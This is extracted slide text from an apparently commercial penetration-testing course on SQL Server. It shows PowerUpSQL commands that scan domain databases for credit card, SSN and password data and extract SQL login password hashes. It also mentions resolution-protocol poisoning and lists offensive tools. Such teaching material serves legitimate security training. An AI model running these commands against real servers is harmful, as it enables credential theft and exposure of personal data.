PT e treme - Caendra Inc. © 2017
Identifying Sensitive Data
Both could possibly indicate a database holding sensitive
data. Regular expressions can certainly assist in filtering data
and then identifying sensitive information.
PT e treme - Caendra Inc. © 2017
Identifying Sensitive Data
For example, to identify sensitive data in all accessible
databases we discovered, we can execute the following.
>> import-module .\PowerUpSQL.psd1
>> Get-SQLInstanceDomain | Get-SQLConnectionTest | Get-
SQLColumnSampleDataThreaded -Verbose -Threads 10 -Keyword "credit,ssn,password"
-SampleSize 2 -ValidateCC -NoDefaults
PT e treme - Caendra Inc. © 2017
Identifying Sensitive Data
The output could be similar to the following.
PT e treme - Caendra Inc. © 2017
Identifying Sensitive Data
In another example, to identify sensitive data in accessible
databases featuring transparent encryption, we can execute
the following.
>> import-module .\PowerUpSQL.psd1
>> Get-SQLInstanceDomain | Get-SQLConnectionTest | Get-SQLDatabaseThreaded –
Verbose –Threads 10 -NoDefaults | Where-Object {$_.is_encrypted –eq "TRUE"} |
Get-SQLColumnSampleDataThreaded –Verbose –Threads 10 –Keyword "card, password" –
SampleSize 2 –ValidateCC -NoDefaults
PT e treme - Caendra Inc. © 2017
3. Extracting SQL Server Login password hashes
While we are on an engagement, we are always interested in
knowing commonly shared account passwords. Extracting
SQL Server Login password hashes can assist us in that.
PowerUpSQL has a very useful function called Get-
SQLServerPasswordHash that automates the extracting
procedure for us.
PT e treme - Caendra Inc. © 2017
Extracting SQL Server Login password hashes
For example, let’s try extracting the SQL login password
hashes of an accessible database, using the
SQLServerPasswordHash of PowerUpSQL.
>> import-module .\PowerUpSQL.psd1
>> Get-SQLServerPasswordHash -Verbose -Instance MSSQLSERVER2016\ELS_DB_DEFAULT -
Migrate
PT e treme - Caendra Inc. © 2017
PT e treme - Caendra Inc. © 2017
We should be aware of the fact that the SQL Server
Resolution Protocol could be poisoned, forcing
authentication to a server under our control. For more
details please refer to following resource.
https://github.com/lgandx/Responder/pull/58
PT e treme - Caendra Inc. © 2017
PT e treme - Caendra Inc. © 2017
SQL Server: Server-Level Roles setspn.exe
Nmap adfind.exe
Nessus Get-Spn.psm1
SQLping3 PowerUpSQL’s wiki
OSQL sqlmitm.py
SQLCMD Anitian
Hacking SQL Server Stored Procedures – Pt 3: SQL
PowerUpSQL Injection
2017 Secure360 – Hacking SQL Server on Scale with
Responder PowerShell
PT e treme - Caendra Inc. © 2017
RottenPotato Vulnerability & Exploit Database
SQL Server Link Crawling with PowerUpSQL Inveigh
impacket SQL Server Resolution Protocol
PT e treme - Caendra Inc. © 2017